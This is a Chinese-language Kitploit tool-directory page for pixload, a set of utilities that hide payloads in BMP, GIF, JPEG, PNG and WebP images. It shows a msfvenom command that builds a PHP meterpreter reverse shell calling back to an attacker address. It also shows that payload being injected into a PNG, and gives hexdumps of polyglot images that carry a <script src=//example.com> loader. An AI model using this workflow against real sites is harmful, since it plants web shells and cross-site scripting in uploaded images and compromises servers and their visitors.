Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pixload — 图像Payload创建/注入工具 | Kitploit
工具/GitHubGitHub/sighook/pixload
Payload生成Web应用程序漏洞利用隐写术Payload 开发
GitHubsighook/pixload

pixload

图像Payload创建/注入工具

查看仓库
1.3k2523年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

pixload -- 图像载荷创建工具

描述

用于 隐藏后门 创建/注入载荷到图像中的工具集。

当前支持以下图像类型:BMP, GIF, JPG, PNG, WebP。

关于

更深入理解 pixload 及其使用场景的参考资料:

  • 利用多语言JPEG绕过CSP

  • 黑客组织利用多语言图像隐藏恶意广告攻击

  • 在PNG IDAT块中编码Web Shell

  • 通过PNG和古怪的内容类型在Facebook上实现XSS

  • 重温PNG IDAT块中的XSS载荷

如果你想将载荷编码为既是有效的x86 shellcode又是有效的图像文件,建议你查阅 这里 和 这里。

msfvenom

如果你想注入一个metasploit载荷,操作如下:

  1. 创建metasploit载荷(例如php)。
root@kitploit:~
$ msfvenom -p php/meterpreter_reverse_tcp \
	LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php
  1. 如有需要,编辑 payload.php。

  2. 将 payload.php 注入到图像中(例如png)。

root@kitploit:~
$ pixload-png --payload "$(cat payload.php)" payload.png

安装

依赖项

需要以下Perl模块:

  • GD

  • Image::ExifTool

  • String::CRC32

在 基于Debian 的系统上安装这些包:

root@kitploit:~
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl

在 FreeBSD 和 DragonFlyBSD 上安装这些包:

root@kitploit:~
doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32

在 OSX 上请参考 此解决方法 (感谢 @iosdec)。

构建与安装
root@kitploit:~
make install

Docker

root@kitploit:~
docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload

工具

pixload-bmp

帮助信息
root@kitploit:~
$ pixload-bmp --help
root@kitploit:~
Usage: pixload-bmp [OPTION]... FILE
在BMP图像中隐藏载荷/恶意代码。

对长选项的命令行参数同样适用于短选项。
  -P, --payload STRING   设置要注入的载荷
  -v, --version          打印版本信息并退出
  -h, --help             打印帮助信息并退出

如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将创建一个新文件。
示例
root@kitploit:~
$ pixload-bmp payload.bmp
root@kitploit:~
...... BMP 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................

[>] 正在生成输出文件
[✔] 文件已保存至: payload.bmp

[>] 正在向 payload.bmp 注入载荷
[✔] 载荷注入成功

payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 x 24, cbSize 10799, bits offset 26

00000000  42 4d 2f 2a 00 00 00 00  00 00 1a 00 00 00 0c 00  |BM/*............|
00000010  00 00 01 00 01 00 01 00  18 00 00 00 ff 00 2a 2f  |..............*/|
00000020  3d 31 3b 3c 73 63 72 69  70 74 20 73 72 63 3d 2f  |=1;<script src=/|
00000030  2f 65 78 61 6d 70 6c  65 2e 63 6f 6d 3e 3c 2f 73  |/example.com></s|
00000040  63 72 69 70 74 3e 3b                              |cript>;|
00000047

更多信息请参阅 pixload-bmp(1) 手册页。

pixload-gif

帮助信息
root@kitploit:~
$ pixload-gif --help
root@kitploit:~
Usage: pixload-gif [OPTION]... FILE
在GIF图像中隐藏载荷/恶意代码。

对长选项的命令行参数同样适用于短选项。
  -W, --pixelwidth  INTEGER   (无效果)
                              设置新图像的像素宽度(默认: 10799)
  -H, --pixelheight INTEGER  设置新图像的像素高度(默认: 32)
  -P, --payload     STRING   设置要注入的载荷
  -v, --version              打印版本信息并退出
  -h, --help                 打印帮助信息并退出

-W, --pixelwidth 选项无效,因为 pixload-gif 将像素宽度字节重写为 "/*" 字符,以准备多语言 gif 图像。

如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将使用指定的像素宽度创建一个新文件。
示例
root@kitploit:~
$ pixload-gif payload.gif
root@kitploit:~
...... GIF 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................

[>] 正在生成输出文件
[✔] 文件已保存至: payload.gif

[>] 正在向 payload.gif 注入载荷
[✔] 载荷注入成功

payload.gif: GIF image data, version 87a, 10799 x 32

00000000  47 49 46 38 37 61 2f 2a  20 00 80 00 00 04 02 04  |GIF87a/* .......|
00000010  00 00 00 2c 00 00 00 00  20 00 20 00 00 02 1e 84  |...,.... . .....|
00000020  8f a9 cb ed 0f a3 9c b4  da 8b b3 de bc fb 0f 86  |................|
00000030  e2 48 96 e6 89 a6 ea ca  b6 ee 0b 9b 05 00 3b 2a  |.H............;*|
00000040  2f 3d 31 3b 3c 73 63 72  69 70 74 20 73 72 63 3d  |/=1;<script src=|
00000050  2f 2f 65 78 61 6d 70 6c  65 2e 63 6f 6d 3e 3c 2f  |//example.com></|
00000060  73 63 72 69 70 74 3e 3b                           |script>;|
00000068

更多信息请参阅 pixload-gif(1) 手册页。

pixload-jpg

帮助信息
root@kitploit:~
$ pixload-jpg --help
root@kitploit:~
Usage: pixload-jpg [OPTION]... FILE
在JPEG图像中隐藏载荷/恶意代码。

对长选项的命令行参数同样适用于短选项。
  -S, --section COM|DQT         设置用于注入载荷的段
  -P, --payload STRING          设置要注入的载荷
  -v, --version                 打印版本信息并退出
  -h, --help                    打印帮助信息并退出

如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将创建一个新文件。
示例
  1. 注入载荷到注释段:
root@kitploit:~
$ pixload-jpg -S com payload.jpg
root@kitploit:~
..... JPEG 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................

[>] 正在生成输出文件
[✔] 文件已保存至: payload.jpg

[>] 正在向 COMMENT 段注入载荷
[✔] 载荷注入成功

payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1

00000000  ff d8 ff fe 00 25 3c 73  63 72 69 70 74 20 73 72  |.....%<script sr|
00000010  63 3d 2f 2f 65 78 61 6d  70 6c 65 2e 63 6f 6d 3e  |c=//example.com>|
00000020  3c 2f 73 63 72 69 70 74  3e ff db 00 43 00 01 01  |</script>...C...|
00000030  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000060  01 01 01 01 01 01 01 01  01 01 01 01 01 01 ff c2  |................|
00000070  00 0b 08 00 01 00 01 01  01 11 00 ff c4 00 14 00  |................|
00000080  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  03 ff da 00 08 01 01 00  00 00 01 3f ff d9        |...........?..|
0000009e
  1. 注入载荷到DQT表:
root@kitploit:~
$ pixload-jpg -S dqt payload.jpg
root@kitploit:~
..... JPEG 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................

[>] 正在生成输出文件
[✔] 文件已保存至: payload.jpg

[>] 正在向 DQT 表注入载荷
[✔] 载荷注入成功

payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1

00000000  ff d8 ff db 00 43 00 01  01 01 01 01 01 01 01 01  |.....C..........|
00000010  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
00000020  01 01 01 01 3c 73 63 72  69 70 74 20 73 72 63 3d  |....<script src=|
00000030  2f 2f 65 78 61 6d 70 6c  65 2e 63 6f 6d 3e 3c 2f  |//example.com></|
00000040  73 63 72 69 70 74 3e ff  c2 00 0b 08 00 01 00 01  |script>.........|
00000050  01 01 11 00 ff c4 00 14  00 01 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00  00 03 ff da 00 08 01 01  |................|
00000070  00 00 00 01 3f ff d9 01  01 11 00 ff c4 00 14 00  |....?...........|
00000080  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  03 ff da 00 08 01 01 00  00 00 01 3f ff d9        |...........?..|
0000009e

更多信息请参阅 pixload-jpg(1)。

pixload-png

帮助信息
root@kitploit:~
$ pixload-png --help
root@kitploit:~
Usage: pixload-png [OPTION]... FILE
在PNG图像中隐藏载荷/恶意代码。

对长选项的命令行参数同样适用于短选项。
  -W, --pixelwidth  INTEGER   设置新图像的像素宽度(默认: 32)
  -H, --pixelheight INTEGER   设置新图像的像素高度(默认: 32)
  -P, --payload STRING        设置要注入的载荷
  -v, --version               打印版本信息并退出
  -h, --help                  打印帮助信息并退出

如果输出文件FILE已存在,则载荷将注入此现有文件。否则,将使用指定的像素尺寸创建一个新文件。
示例
root@kitploit:~
$ pixload-png payload.png
root@kitploit:~
...... PNG 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................

[>] 正在生成输出文件
[✔] 文件已保存至: payload.png

[>] 正在向 payload.png 注入载荷

[+] 块大小: 13
[+] 块类型: IHDR
[+] CRC: fc18eda3
[+] 块大小: 9
[+] 块类型: pHYs
[+] CRC: 952b0e1b
[+] 块大小: 25
[+] 块类型: IDAT
[+] CRC: c8a288fe
[+] 块大小: 0
[+] 块类型: IEND

[>] 将载荷注入新块: 'pUnk'
[✔] 载荷注入成功

payload.png: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
00000030  c4 01 95 2b 0e 1b 00 00  00 19 49 44 41 54 48 89  |...+......IDATH.|
00000040  ed c1 31 01 00 00 00 c2  a0 f5 4f ed 61 0d a0 00  |..1.......O.a...|
00000050  00 00 6e 0c 20 00 01 c8  a2 88 fe 00 00 00 00 49  |..n. ..........I|
00000060  45 4e 44 ae 42 60 82 00  00 00 00 00 00 00 00 00  |END.B`..........|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000000c0  00 23 50 55 6e 4b 3c 73  63 72 69 70 74 20 73 72  |.#PUnK<script sr|
000000d0  63 3d 2f 2f 65 78 61 6d  70 6c 65 2e 63 6f 6d 3e  |c=//example.com>|
000000e0  3c 2f 73 63 72 69 70 74  3e eb fd 2e 9f 00 49 45  |</script>.....IE|
000000f0  4e 44                                             |ND|
000000f2

更多信息请参阅 pixload-png(1) 手册页。

pixload-webp

帮助信息
root@kitploit:~
$ pixload-webp --help
root@kitploit:~
Usage: pixload-webp [OPTION]... FILE
在WebP图像中隐藏载荷/恶意代码。

对长选项的命令行参数同样适用于短选项。
  -P, --payload STRING   设置要注入的载荷
  -v, --version          打印版本信息并退出
  -h, --help             打印帮助信息并退出

目前,无法将载荷注入现有的WebP图像。只会创建新的(最小的)WebP图像,并将您的载荷注入其中。如果输出文件FILE已存在,载荷将注入到现有图像中,但该图像将会损坏。
示例
root@kitploit:~
$ pixload-webp payload.webp
root@kitploit:~
..... WebP 载荷创建/注入器 ......
..........................................
... https://github.com/sighook/pixload ...
..........................................

[>] 正在生成输出文件
[✔] 文件已保存至: payload.webp

[>] 正在向 payload.webp 注入载荷
[✔] 载荷注入成功

payload.webp: RIFF (little-endian) data, Web/P image

00000000  52 49 46 46 2f 2a 00 00  57 45 42 50 56 50 38 4c  |RIFF/*..WEBPVP8L|
00000010  ff ff ff 00 2f 00 00 00  10 07 10 11 11 88 88 fe  |..../...........|
00000020  07 00 2a 2f 3d 31 3b 3c  73 63 72 69 70 74 20 73  |..*/=1;<script s|
00000030  72 63 3d 2f 2f 65 78 61  6d 70 6c 65 2e 63 6f 6d  |rc=//example.com|
00000040  3e 3c 2f 73 63 72 69 70  74 3e 3b                 |></script>;|
0000004b

更多信息请参阅 pixload-webp(1) 手册页。

许可证

WTFPL 版本 2。 更多信息请参阅 LICENSE。

法律声明

作者不对该工具的任何不当使用承担责任,请记住,未经事先同意攻击目标是非法的,将受到法律惩处。

捐赠

  • BTC: bc1qj4g98svq6qh3q2ap37v52nsvusa76c3cnmcdmx

  • PAYPAL: [email protected]

不胜感激。

下载工具